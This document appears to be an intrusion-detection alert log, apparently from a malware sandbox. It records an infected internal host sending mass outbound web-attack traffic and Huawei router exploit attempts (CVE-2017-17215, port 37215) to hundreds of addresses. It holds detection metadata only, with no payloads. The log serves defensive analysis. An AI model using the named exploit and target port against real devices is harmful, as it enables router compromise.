2024-12-03T21:31:10.523510+0100	2029034	1	Web Application Attack	192.168.2.23	34734	59.157.117.58	80	TCP
2024-12-03T21:31:10.531072+0100	2029034	1	Web Application Attack	192.168.2.23	41920	42.157.213.192	80	TCP
2024-12-03T21:31:10.531974+0100	2029034	1	Web Application Attack	192.168.2.23	40834	151.62.98.232	80	TCP
2024-12-03T21:31:11.089794+0100	2029034	1	Web Application Attack	192.168.2.23	53452	96.7.66.49	80	TCP
2024-12-03T21:31:11.096878+0100	2029034	1	Web Application Attack	192.168.2.23	60524	207.154.231.3	80	TCP
2024-12-03T21:31:12.193160+0100	2029034	1	Web Application Attack	192.168.2.23	54002	93.194.223.82	80	TCP
2024-12-03T21:31:12.193418+0100	2029034	1	Web Application Attack	192.168.2.23	41888	8.105.165.198	80	TCP
2024-12-03T21:31:12.193722+0100	2029034	1	Web Application Attack	192.168.2.23	47072	136.13.75.65	80	TCP
2024-12-03T21:31:12.208328+0100	2029034	1	Web Application Attack	192.168.2.23	43802	79.74.148.82	80	TCP
2024-12-03T21:31:12.208365+0100	2029034	1	Web Application Attack	192.168.2.23	50180	208.246.133.237	80	TCP
2024-12-03T21:31:12.208480+0100	2029034	1	Web Application Attack	192.168.2.23	59906	145.105.254.172	80	TCP
2024-12-03T21:31:12.208596+0100	2029034	1	Web Application Attack	192.168.2.23	37822	25.253.247.243	80	TCP
2024-12-03T21:31:12.208694+0100	2029034	1	Web Application Attack	192.168.2.23	44126	32.198.110.33	80	TCP
2024-12-03T21:31:12.208794+0100	2029034	1	Web Application Attack	192.168.2.23	60512	143.141.87.96	80	TCP
2024-12-03T21:31:12.208867+0100	2029034	1	Web Application Attack	192.168.2.23	51182	46.19.30.11	80	TCP
2024-12-03T21:31:12.208908+0100	2029034	1	Web Application Attack	192.168.2.23	43128	4.17.178.247	80	TCP
2024-12-03T21:31:12.224378+0100	2029034	1	Web Application Attack	192.168.2.23	44394	52.117.45.194	80	TCP
2024-12-03T21:31:12.224387+0100	2029034	1	Web Application Attack	192.168.2.23	50612	2.81.246.81	80	TCP
2024-12-03T21:31:12.224394+0100	2029034	1	Web Application Attack	192.168.2.23	56784	23.46.95.33	80	TCP
2024-12-03T21:31:12.231824+0100	2029034	1	Web Application Attack	192.168.2.23	59458	81.168.40.42	80	TCP
2024-12-03T21:31:12.231829+0100	2029034	1	Web Application Attack	192.168.2.23	44024	185.221.32.180	80	TCP
2024-12-03T21:31:12.232152+0100	2029034	1	Web Application Attack	192.168.2.23	33458	92.42.91.229	80	TCP
2024-12-03T21:31:12.232222+0100	2029034	1	Web Application Attack	192.168.2.23	57976	199.155.1.164	80	TCP
2024-12-03T21:31:12.237614+0100	2029034	1	Web Application Attack	192.168.2.23	58894	97.66.36.254	80	TCP
2024-12-03T21:31:12.237869+0100	2029034	1	Web Application Attack	192.168.2.23	45934	139.246.200.67	80	TCP
2024-12-03T21:31:12.237956+0100	2029034	1	Web Application Attack	192.168.2.23	39532	5.104.106.96	80	TCP
2024-12-03T21:31:12.238043+0100	2029034	1	Web Application Attack	192.168.2.23	48860	168.79.240.244	80	TCP
2024-12-03T21:31:12.246591+0100	2029034	1	Web Application Attack	192.168.2.23	35140	167.75.81.162	80	TCP
2024-12-03T21:31:12.246768+0100	2029034	1	Web Application Attack	192.168.2.23	34690	142.202.33.132	80	TCP
2024-12-03T21:31:12.246946+0100	2029034	1	Web Application Attack	192.168.2.23	39888	96.227.56.195	80	TCP
2024-12-03T21:31:12.253293+0100	2029034	1	Web Application Attack	192.168.2.23	44170	148.66.215.250	80	TCP
2024-12-03T21:31:12.253645+0100	2029034	1	Web Application Attack	192.168.2.23	38100	42.199.59.6	80	TCP
2024-12-03T21:31:12.262736+0100	2029034	1	Web Application Attack	192.168.2.23	36052	185.96.7.190	80	TCP
2024-12-03T21:31:12.263051+0100	2029034	1	Web Application Attack	192.168.2.23	43838	207.88.49.48	80	TCP
2024-12-03T21:31:12.263279+0100	2029034	1	Web Application Attack	192.168.2.23	40592	141.173.180.9	80	TCP
2024-12-03T21:31:12.263442+0100	2029034	1	Web Application Attack	192.168.2.23	37090	61.41.15.72	80	TCP
2024-12-03T21:31:12.268871+0100	2029034	1	Web Application Attack	192.168.2.23	47556	216.131.217.108	80	TCP
2024-12-03T21:31:12.268901+0100	2029034	1	Web Application Attack	192.168.2.23	60610	223.111.24.66	80	TCP
2024-12-03T21:31:12.269055+0100	2029034	1	Web Application Attack	192.168.2.23	41738	201.148.44.14	80	TCP
2024-12-03T21:31:12.269171+0100	2029034	1	Web Application Attack	192.168.2.23	57176	82.135.213.51	80	TCP
2024-12-03T21:31:12.269362+0100	2029034	1	Web Application Attack	192.168.2.23	48818	172.153.131.92	80	TCP
2024-12-03T21:31:12.278327+0100	2029034	1	Web Application Attack	192.168.2.23	54830	120.196.61.187	80	TCP
2024-12-03T21:31:12.279398+0100	2029034	1	Web Application Attack	192.168.2.23	41664	24.242.230.192	80	TCP
2024-12-03T21:31:12.279839+0100	2029034	1	Web Application Attack	192.168.2.23	60028	104.234.241.23	80	TCP
2024-12-03T21:31:12.280016+0100	2029034	1	Web Application Attack	192.168.2.23	60286	138.250.81.210	80	TCP
2024-12-03T21:31:12.280578+0100	2029034	1	Web Application Attack	192.168.2.23	55744	119.211.146.165	80	TCP
2024-12-03T21:31:12.280670+0100	2029034	1	Web Application Attack	192.168.2.23	45350	171.48.150.224	80	TCP
2024-12-03T21:31:12.280760+0100	2029034	1	Web Application Attack	192.168.2.23	34222	147.179.254.202	80	TCP
2024-12-03T21:31:12.280881+0100	2029034	1	Web Application Attack	192.168.2.23	34436	24.149.246.129	80	TCP
2024-12-03T21:31:12.280977+0100	2029034	1	Web Application Attack	192.168.2.23	39552	32.227.59.119	80	TCP
2024-12-03T21:31:12.281248+0100	2029034	1	Web Application Attack	192.168.2.23	58478	104.94.144.183	80	TCP
2024-12-03T21:31:12.294826+0100	2029034	1	Web Application Attack	192.168.2.23	58148	71.187.196.149	80	TCP
2024-12-03T21:31:12.294984+0100	2029034	1	Web Application Attack	192.168.2.23	32938	183.134.212.93	80	TCP
2024-12-03T21:31:12.295207+0100	2029034	1	Web Application Attack	192.168.2.23	55766	116.150.62.104	80	TCP
2024-12-03T21:31:12.295345+0100	2029034	1	Web Application Attack	192.168.2.23	33604	40.18.80.153	80	TCP
2024-12-03T21:31:12.309109+0100	2029034	1	Web Application Attack	192.168.2.23	41300	69.255.176.9	80	TCP
2024-12-03T21:31:12.309216+0100	2029034	1	Web Application Attack	192.168.2.23	39454	150.63.45.186	80	TCP
2024-12-03T21:31:12.309354+0100	2029034	1	Web Application Attack	192.168.2.23	34066	68.81.161.145	80	TCP
2024-12-03T21:31:12.428302+0100	2029034	1	Web Application Attack	192.168.2.23	46770	175.121.86.4	80	TCP
2024-12-03T21:31:12.554161+0100	2029034	1	Web Application Attack	192.168.2.23	56822	51.137.140.164	80	TCP
2024-12-03T21:31:12.554172+0100	2029034	1	Web Application Attack	192.168.2.23	49798	18.145.102.122	80	TCP
2024-12-03T21:31:12.554186+0100	2029034	1	Web Application Attack	192.168.2.23	37672	94.147.154.72	80	TCP
2024-12-03T21:31:13.393743+0100	2029034	1	Web Application Attack	192.168.2.23	56708	8.103.67.204	80	TCP
2024-12-03T21:31:13.746841+0100	2029034	1	Web Application Attack	192.168.2.23	41620	67.181.179.91	80	TCP
2024-12-03T21:31:13.785397+0100	2029034	1	Web Application Attack	192.168.2.23	59116	46.150.128.128	80	TCP
2024-12-03T21:31:13.793626+0100	2029034	1	Web Application Attack	192.168.2.23	35808	220.142.4.23	80	TCP
2024-12-03T21:31:14.847055+0100	2029034	1	Web Application Attack	192.168.2.23	42668	83.242.246.47	80	TCP
2024-12-03T21:31:15.012546+0100	2029034	1	Web Application Attack	192.168.2.23	47940	38.185.77.8	80	TCP
2024-12-03T21:31:15.020897+0100	2029034	1	Web Application Attack	192.168.2.23	49280	97.60.74.150	80	TCP
2024-12-03T21:31:15.425088+0100	2029034	1	Web Application Attack	192.168.2.23	44038	223.118.93.51	80	TCP
2024-12-03T21:31:15.425170+0100	2029034	1	Web Application Attack	192.168.2.23	38530	198.186.23.221	80	TCP
2024-12-03T21:31:15.863716+0100	2029034	1	Web Application Attack	192.168.2.23	39412	31.140.158.101	80	TCP
2024-12-03T21:31:15.864160+0100	2029034	1	Web Application Attack	192.168.2.23	39156	171.122.203.201	80	TCP
2024-12-03T21:31:15.878451+0100	2029034	1	Web Application Attack	192.168.2.23	58276	167.17.65.142	80	TCP
2024-12-03T21:31:15.878700+0100	2029034	1	Web Application Attack	192.168.2.23	41088	163.9.31.130	80	TCP
2024-12-03T21:31:15.887469+0100	2029034	1	Web Application Attack	192.168.2.23	34176	200.1.115.254	80	TCP
2024-12-03T21:31:15.893572+0100	2029034	1	Web Application Attack	192.168.2.23	34144	40.164.129.252	80	TCP
2024-12-03T21:31:15.893800+0100	2029034	1	Web Application Attack	192.168.2.23	43374	134.190.6.30	80	TCP
2024-12-03T21:31:15.902953+0100	2029034	1	Web Application Attack	192.168.2.23	40888	18.149.183.76	80	TCP
2024-12-03T21:31:15.903074+0100	2029034	1	Web Application Attack	192.168.2.23	35640	91.177.96.233	80	TCP
2024-12-03T21:31:15.903203+0100	2029034	1	Web Application Attack	192.168.2.23	38450	154.178.4.253	80	TCP
2024-12-03T21:31:15.903383+0100	2029034	1	Web Application Attack	192.168.2.23	45796	20.90.151.4	80	TCP
2024-12-03T21:31:15.909614+0100	2029034	1	Web Application Attack	192.168.2.23	45066	174.188.142.142	80	TCP
2024-12-03T21:31:15.909626+0100	2029034	1	Web Application Attack	192.168.2.23	58836	106.190.131.163	80	TCP
2024-12-03T21:31:15.918548+0100	2029034	1	Web Application Attack	192.168.2.23	34482	128.5.9.145	80	TCP
2024-12-03T21:31:15.925179+0100	2029034	1	Web Application Attack	192.168.2.23	40944	122.91.92.183	80	TCP
2024-12-03T21:31:15.925331+0100	2029034	1	Web Application Attack	192.168.2.23	48982	212.208.47.65	80	TCP
2024-12-03T21:31:15.925508+0100	2029034	1	Web Application Attack	192.168.2.23	52992	123.104.76.242	80	TCP
2024-12-03T21:31:15.925588+0100	2029034	1	Web Application Attack	192.168.2.23	42508	87.213.185.178	80	TCP
2024-12-03T21:31:15.925739+0100	2029034	1	Web Application Attack	192.168.2.23	44486	223.158.92.56	80	TCP
2024-12-03T21:31:15.933999+0100	2029034	1	Web Application Attack	192.168.2.23	39006	157.84.156.237	80	TCP
2024-12-03T21:31:15.934184+0100	2029034	1	Web Application Attack	192.168.2.23	39140	27.250.38.90	80	TCP
2024-12-03T21:31:15.934361+0100	2029034	1	Web Application Attack	192.168.2.23	53800	91.222.101.204	80	TCP
2024-12-03T21:31:15.934476+0100	2029034	1	Web Application Attack	192.168.2.23	50916	64.64.206.110	80	TCP
2024-12-03T21:31:15.934641+0100	2029034	1	Web Application Attack	192.168.2.23	41032	44.173.181.207	80	TCP
2024-12-03T21:31:15.967907+0100	2029034	1	Web Application Attack	192.168.2.23	60530	41.60.28.34	80	TCP
2024-12-03T21:31:16.153022+0100	2029034	1	Web Application Attack	192.168.2.23	36042	191.26.125.61	80	TCP
2024-12-03T21:31:16.184266+0100	2029034	1	Web Application Attack	192.168.2.23	34664	118.131.207.245	80	TCP
2024-12-03T21:31:17.159334+0100	2029034	1	Web Application Attack	192.168.2.23	34304	135.179.159.201	80	TCP
2024-12-03T21:31:17.201059+0100	2029034	1	Web Application Attack	192.168.2.23	43026	20.5.135.252	80	TCP
2024-12-03T21:31:19.222044+0100	2029034	1	Web Application Attack	192.168.2.23	40094	20.235.63.68	80	TCP
2024-12-03T21:31:19.302827+0100	2029034	1	Web Application Attack	192.168.2.23	58406	157.172.185.13	80	TCP
2024-12-03T21:31:19.302935+0100	2029034	1	Web Application Attack	192.168.2.23	49538	194.92.243.201	80	TCP
2024-12-03T21:31:19.316098+0100	2029034	1	Web Application Attack	192.168.2.23	57684	119.232.26.230	80	TCP
2024-12-03T21:31:19.325090+0100	2029034	1	Web Application Attack	192.168.2.23	48238	223.51.190.43	80	TCP
2024-12-03T21:31:19.846243+0100	2029034	1	Web Application Attack	192.168.2.23	40540	49.12.65.52	80	TCP
2024-12-03T21:31:20.246931+0100	2029034	1	Web Application Attack	192.168.2.23	55812	25.87.52.217	80	TCP
2024-12-03T21:31:21.472336+0100	2029034	1	Web Application Attack	192.168.2.23	60302	68.192.168.104	80	TCP
2024-12-03T21:31:21.472337+0100	2029034	1	Web Application Attack	192.168.2.23	39886	172.75.69.51	80	TCP
2024-12-03T21:31:21.497352+0100	2029034	1	Web Application Attack	192.168.2.23	34048	204.102.109.115	80	TCP
2024-12-03T21:31:21.543966+0100	2029034	1	Web Application Attack	192.168.2.23	35394	1.2.186.211	80	TCP
2024-12-03T21:31:21.544052+0100	2029034	1	Web Application Attack	192.168.2.23	54740	104.144.206.244	80	TCP
2024-12-03T21:31:21.559797+0100	2029034	1	Web Application Attack	192.168.2.23	50598	164.76.197.63	80	TCP
2024-12-03T21:31:22.206700+0100	2029034	1	Web Application Attack	192.168.2.23	34482	87.247.248.58	80	TCP
2024-12-03T21:31:22.232335+0100	2029034	1	Web Application Attack	192.168.2.23	47444	75.117.159.245	80	TCP
2024-12-03T21:31:22.232349+0100	2029034	1	Web Application Attack	192.168.2.23	46530	65.211.64.176	80	TCP
2024-12-03T21:31:22.232352+0100	2029034	1	Web Application Attack	192.168.2.23	54396	184.137.225.161	80	TCP
2024-12-03T21:31:22.232428+0100	2029034	1	Web Application Attack	192.168.2.23	60566	41.63.192.93	80	TCP
2024-12-03T21:31:22.232511+0100	2029034	1	Web Application Attack	192.168.2.23	55156	145.230.14.157	80	TCP
2024-12-03T21:31:22.237444+0100	2029034	1	Web Application Attack	192.168.2.23	48798	206.83.66.253	80	TCP
2024-12-03T21:31:22.237586+0100	2029034	1	Web Application Attack	192.168.2.23	43614	88.157.184.97	80	TCP
2024-12-03T21:31:22.278229+0100	2029034	1	Web Application Attack	192.168.2.23	50754	24.157.0.28	80	TCP
2024-12-03T21:31:22.278360+0100	2029034	1	Web Application Attack	192.168.2.23	50426	86.20.226.157	80	TCP
2024-12-03T21:31:22.278552+0100	2029034	1	Web Application Attack	192.168.2.23	38890	113.153.214.234	80	TCP
2024-12-03T21:31:23.268994+0100	2029034	1	Web Application Attack	192.168.2.23	39362	189.23.115.181	80	TCP
2024-12-03T21:31:23.363089+0100	2029034	1	Web Application Attack	192.168.2.23	47600	149.243.248.75	80	TCP
2024-12-03T21:31:23.500393+0100	2029034	1	Web Application Attack	192.168.2.23	43450	18.179.239.249	80	TCP
2024-12-03T21:31:24.347386+0100	2029034	1	Web Application Attack	192.168.2.23	47732	14.50.118.43	80	TCP
2024-12-03T21:31:24.347395+0100	2029034	1	Web Application Attack	192.168.2.23	60716	45.3.176.167	80	TCP
2024-12-03T21:31:24.434625+0100	2029034	1	Web Application Attack	192.168.2.23	44982	32.153.185.62	80	TCP

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T21:30:51.758140+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50372	197.9.55.89	37215	TCP
2024-12-03T21:30:56.858413+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49972	197.4.155.165	37215	TCP
2024-12-03T21:30:58.490996+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42068	156.240.21.115	37215	TCP
2024-12-03T21:30:59.531762+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47406	197.232.113.175	37215	TCP
2024-12-03T21:31:01.599384+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39202	197.97.142.64	37215	TCP
2024-12-03T21:31:02.259140+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44292	197.129.248.15	37215	TCP
2024-12-03T21:31:02.968130+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52132	197.130.81.175	37215	TCP
2024-12-03T21:31:04.634227+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35042	41.237.139.8	37215	TCP
2024-12-03T21:31:06.161339+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59656	41.58.197.71	37215	TCP
2024-12-03T21:31:11.159292+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52264	41.75.37.101	37215	TCP
2024-12-03T21:31:11.159447+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39614	197.135.129.229	37215	TCP
2024-12-03T21:31:11.284467+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36440	156.188.250.125	37215	TCP
2024-12-03T21:31:11.284578+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51070	41.68.120.66	37215	TCP
2024-12-03T21:31:11.284586+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40782	156.70.75.133	37215	TCP
2024-12-03T21:31:11.303396+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60002	197.119.240.72	37215	TCP
2024-12-03T21:31:11.313291+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38512	41.91.233.173	37215	TCP
2024-12-03T21:31:11.333002+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36928	197.79.214.113	37215	TCP
2024-12-03T21:31:11.340948+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58916	197.222.83.103	37215	TCP
2024-12-03T21:31:11.341136+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35808	156.69.33.115	37215	TCP
2024-12-03T21:31:11.347603+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40834	156.159.12.120	37215	TCP
2024-12-03T21:31:11.356109+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41278	197.50.83.42	37215	TCP
2024-12-03T21:31:11.356166+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43142	197.158.250.72	37215	TCP
2024-12-03T21:31:11.356322+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36032	156.110.125.63	37215	TCP
2024-12-03T21:31:11.356388+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37280	41.183.207.233	37215	TCP
2024-12-03T21:31:11.356611+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33276	197.166.189.254	37215	TCP
2024-12-03T21:31:11.393872+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40232	156.18.88.219	37215	TCP
2024-12-03T21:31:12.191814+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50944	197.59.152.207	37215	TCP
2024-12-03T21:31:12.192322+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57396	197.215.104.102	37215	TCP
2024-12-03T21:31:12.231814+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48850	156.125.207.114	37215	TCP
2024-12-03T21:31:12.231815+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60294	156.221.107.169	37215	TCP
2024-12-03T21:31:12.231819+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56978	41.140.236.148	37215	TCP
2024-12-03T21:31:12.231957+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45868	156.79.21.228	37215	TCP
2024-12-03T21:31:12.253068+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37778	197.244.48.70	37215	TCP
2024-12-03T21:31:12.253410+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45200	41.130.173.219	37215	TCP
2024-12-03T21:31:12.278422+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52706	197.216.74.198	37215	TCP
2024-12-03T21:31:12.279474+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38022	156.223.49.69	37215	TCP
2024-12-03T21:31:12.280101+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43842	41.0.186.183	37215	TCP
2024-12-03T21:31:12.280228+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35892	197.116.233.17	37215	TCP
2024-12-03T21:31:12.280424+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48190	156.190.175.18	37215	TCP
2024-12-03T21:31:12.281050+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47658	156.128.47.189	37215	TCP
2024-12-03T21:31:12.397914+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59934	197.26.233.44	37215	TCP
2024-12-03T21:31:12.403024+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44212	156.219.74.61	37215	TCP
2024-12-03T21:31:14.315900+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33322	41.132.216.164	37215	TCP
2024-12-03T21:31:14.332210+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53538	41.242.244.42	37215	TCP
2024-12-03T21:31:14.332329+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47342	156.82.100.7	37215	TCP
2024-12-03T21:31:14.347946+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49110	156.180.71.22	37215	TCP
2024-12-03T21:31:14.348195+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47456	41.89.56.199	37215	TCP
2024-12-03T21:31:14.348312+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52828	197.101.2.157	37215	TCP
2024-12-03T21:31:14.348529+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55728	41.97.116.95	37215	TCP
2024-12-03T21:31:14.348740+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48548	156.254.240.189	37215	TCP
2024-12-03T21:31:14.348941+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35154	197.108.27.186	37215	TCP
2024-12-03T21:31:14.356816+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38320	156.6.99.220	37215	TCP
2024-12-03T21:31:14.356940+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57862	197.35.188.58	37215	TCP
2024-12-03T21:31:14.357125+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54804	197.20.1.232	37215	TCP
2024-12-03T21:31:14.363080+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40264	197.2.94.37	37215	TCP
2024-12-03T21:31:14.363184+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58874	156.209.214.149	37215	TCP
2024-12-03T21:31:14.378230+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42836	197.61.249.158	37215	TCP
2024-12-03T21:31:14.378296+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47048	156.145.198.116	37215	TCP
2024-12-03T21:31:14.378434+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37722	41.41.62.85	37215	TCP
2024-12-03T21:31:14.378661+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40768	41.100.82.80	37215	TCP
2024-12-03T21:31:14.378762+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35392	156.190.237.45	37215	TCP
2024-12-03T21:31:14.379184+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53480	156.248.22.235	37215	TCP
2024-12-03T21:31:14.387375+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49536	41.218.18.192	37215	TCP
2024-12-03T21:31:14.402816+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54728	156.63.118.237	37215	TCP
2024-12-03T21:31:14.425575+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38218	156.49.47.44	37215	TCP
2024-12-03T21:31:14.426755+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60000	197.54.174.254	37215	TCP
2024-12-03T21:31:14.427124+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44720	41.78.79.219	37215	TCP
2024-12-03T21:31:14.427249+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35146	197.142.116.145	37215	TCP
2024-12-03T21:31:14.434181+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60460	156.247.59.94	37215	TCP
2024-12-03T21:31:14.434230+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38434	156.124.6.20	37215	TCP
2024-12-03T21:31:14.481360+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53730	156.144.87.194	37215	TCP
2024-12-03T21:31:14.597283+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42854	156.183.73.216	37215	TCP
2024-12-03T21:31:14.606026+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50154	41.199.201.42	37215	TCP
2024-12-03T21:31:14.606104+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54516	156.254.151.42	37215	TCP
2024-12-03T21:31:14.612594+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47284	197.151.230.241	37215	TCP
2024-12-03T21:31:14.653119+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45220	197.67.52.122	37215	TCP
2024-12-03T21:31:15.487883+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60612	156.178.53.95	37215	TCP
2024-12-03T21:31:15.502977+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36702	156.144.159.185	37215	TCP
2024-12-03T21:31:15.503160+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52658	197.156.1.181	37215	TCP
2024-12-03T21:31:15.844113+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41824	41.57.106.72	37215	TCP
2024-12-03T21:31:17.561538+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47162	197.156.70.242	37215	TCP
2024-12-03T21:31:17.753067+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53830	156.76.57.111	37215	TCP
2024-12-03T21:31:17.830487+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39378	156.14.192.167	37215	TCP
2024-12-03T21:31:17.830704+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51638	156.67.243.71	37215	TCP
2024-12-03T21:31:17.925786+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40834	197.229.114.142	37215	TCP
2024-12-03T21:31:17.934397+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35180	41.103.79.191	37215	TCP
2024-12-03T21:31:17.957115+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36936	41.231.73.53	37215	TCP
2024-12-03T21:31:17.965587+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44186	156.216.121.98	37215	TCP
2024-12-03T21:31:17.988760+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60610	197.51.36.114	37215	TCP
2024-12-03T21:31:17.988942+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59284	197.59.66.164	37215	TCP
2024-12-03T21:31:17.988952+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47578	41.82.87.28	37215	TCP
2024-12-03T21:31:17.996682+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37670	197.70.32.35	37215	TCP
2024-12-03T21:31:18.028056+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56824	41.185.175.186	37215	TCP
2024-12-03T21:31:18.034327+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36688	41.174.129.7	37215	TCP
2024-12-03T21:31:18.034435+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38764	156.149.88.76	37215	TCP
2024-12-03T21:31:18.061125+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59432	41.106.184.156	37215	TCP
2024-12-03T21:31:18.737570+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42980	197.29.138.254	37215	TCP
2024-12-03T21:31:18.737904+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45456	156.26.192.79	37215	TCP
2024-12-03T21:31:18.738172+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33938	156.249.165.113	37215	TCP
2024-12-03T21:31:18.738195+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37486	156.143.56.56	37215	TCP
2024-12-03T21:31:18.754477+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53742	156.221.250.29	37215	TCP
2024-12-03T21:31:18.763037+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56488	156.180.0.171	37215	TCP
2024-12-03T21:31:18.763230+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53796	197.212.65.53	37215	TCP
2024-12-03T21:31:18.770085+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41416	156.51.35.111	37215	TCP
2024-12-03T21:31:18.770189+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59436	41.170.245.155	37215	TCP
2024-12-03T21:31:18.770362+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50812	41.44.242.50	37215	TCP
2024-12-03T21:31:18.770487+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44076	197.153.117.6	37215	TCP
2024-12-03T21:31:18.779535+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60316	41.78.165.182	37215	TCP
2024-12-03T21:31:18.779658+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43808	156.170.10.105	37215	TCP
2024-12-03T21:31:18.779886+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43838	41.232.214.237	37215	TCP
2024-12-03T21:31:18.779888+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52640	156.76.135.99	37215	TCP
2024-12-03T21:31:18.786200+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47100	41.151.33.62	37215	TCP
2024-12-03T21:31:18.786303+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38940	41.114.142.62	37215	TCP
2024-12-03T21:31:18.786421+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51186	41.246.240.27	37215	TCP
2024-12-03T21:31:18.794942+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38356	156.205.147.98	37215	TCP
2024-12-03T21:31:18.801345+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56124	197.93.255.184	37215	TCP
2024-12-03T21:31:18.801815+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44076	41.241.96.154	37215	TCP
2024-12-03T21:31:18.810372+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38594	197.114.49.191	37215	TCP
